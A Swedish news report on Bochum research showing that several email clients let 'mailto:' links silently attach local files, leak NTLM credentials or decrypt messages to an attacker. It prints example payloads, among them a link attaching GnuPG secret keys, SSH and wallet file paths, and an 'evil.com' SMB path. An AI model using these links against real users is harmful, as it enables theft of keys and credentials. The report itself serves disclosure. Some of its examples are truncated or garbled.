Forskare frÄn Ruhr-universitetet i Bochum (Tyskland) () beteendet hos e-postklienter vid hantering av "mailto:"-lÀnkar med utökade parametrar. Fem av tjugo granskade e-postklienter visade sig vara sÄrbara för en attack som manipulerar resursinbÀddningar via parametern "attach". Ytterligare sex e-postklienter var utsatta för attacker som ersÀtter PGP- och S/MIME-nycklar, och tre klienter var sÄrbara för attacker som extraherar innehÄllet i krypterade meddelanden.
LÀnkar "" anvÀnds för att automatisera öppnandet av e-postklienten för att skriva ett brev till den angivna adressaten i lÀnken. Utöver adressen i lÀnken kan man ange ytterligare parametrar, som Àmnet för brevet och en mall för standardinnehÄll. Den föreslagna attacken manipulerar parametern "attach", som gör att man kan bifoga en bilaga till det skapade brevet.
E-postklienterna Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) och Pegasus Mail visade sig vara sÄrbara för en trivial attack, som automatiskt kan bifoga vilken lokal fil som helst, angiven via en lÀnk av typen "mailto:?attach=vÀg_till_fil". Filen bifogas utan att nÄgot varningsmeddelande visas, sÄ utan sÀrskild uppmÀrksamhet kan anvÀndaren missa att brevet skickas med en bilaga.
Till exempel, med en lÀnk av typen "mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" kan man inkludera GnuPG:s privata nycklar i brevet. Det Àr ocksÄ möjligt att skicka innehÄllet i kryptovaluta-plÄnböcker (~/.bitcoin/wallet.dat), SSH-nycklar (~/.ssh/id_rsa) och vilka filer som helst som Àr tillgÀngliga för anvÀndaren. Dessutom tillÄter Thunderbird att man kan bifoga grupper av filer med en mask genom konstruktioner av typen "attach=/tmp/*.txt".
Förutom lokala filer hanterar vissa e-postklienter lÀnkar till nÀtlagring och sökvÀgar pÄ IMAP-servern. I synnerhet tillÄter IBM Notes att man överför filer frÄn ett nÀtverkskatalog vid hantering av lÀnkar av typen "attach=\\evil.com\dummyfile", samt att man kan fÄnga NTLM-autentiseringparametrar genom att skicka en lÀnk till en SMB-server som kontrolleras av angriparen (begÀran skickas med aktuella autentiseringselement för anvÀndaren).
Thunderbird hanterar framgÄngsrikt förfrÄgningar som "attach=imap://fetch>UID>/INBOX>1/", vilket gör det möjligt att bifoga innehÄll frÄn mappar pÄ IMAP-servern. Breven som hÀmtas frÄn IMAP, krypterade med OpenPGP och S/MIME, dekrypteras automatiskt av e-postklienten innan de skickas. Utvecklarna av Thunderbird var medvetna om problemet i februari och i utgÄvan Àr problemet redan ÄtgÀrdat (versioner av Thunderbird 52, 60 och 68 förblir sÄrbara).
Gamla versioner av Thunderbird visade sig vara sÄrbara för tvÄ andra attackvarianter mot PGP och S/MIME, föreslagna av forskare. Specifikt gÀllde attacken, som ocksÄ drabbade Thunderbird, OutLook, PostBox, eM Client, MailMate och R2Mail2, en nyckelbytesattack, vilket berodde pÄ att e-postklienten automatiskt importerar och installerar nya certifikat som överförs i S/MIME-meddelanden, vilket möjliggör för angriparen att byta ut redan sparade offentliga nycklar hos anvÀndaren.
Den andra attacken, som pĂ„verkar Thunderbird, PostBox och MailMate, manipulerar funktionerna i automatisk sparande av meddelanden och möjliggör, med hjĂ€lp av mailto-parametrar, att initiera dekryptering av krypterade meddelanden eller lĂ€gga till en digital signatur för godtyckliga meddelanden, med efterföljande överföring av resultatet till angriparens IMAP-server. Krypterad text skickas i denna attack via parametern "body", och för att initiera en förfrĂ„gan till angriparens IMAP-server anvĂ€nds taggen "meta refresh". Till exempel: ââ
Speciellt utformade PDF-dokument kan anvĂ€ndas för automatisk behandling av "mailto:"-lĂ€nkar utan anvĂ€ndarens deltagande â OpenAction i PDF möjliggör automatiskt start av mailto-hanteraren nĂ€r dokumentet öppnas:
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
KĂ€lla: opennet.ru
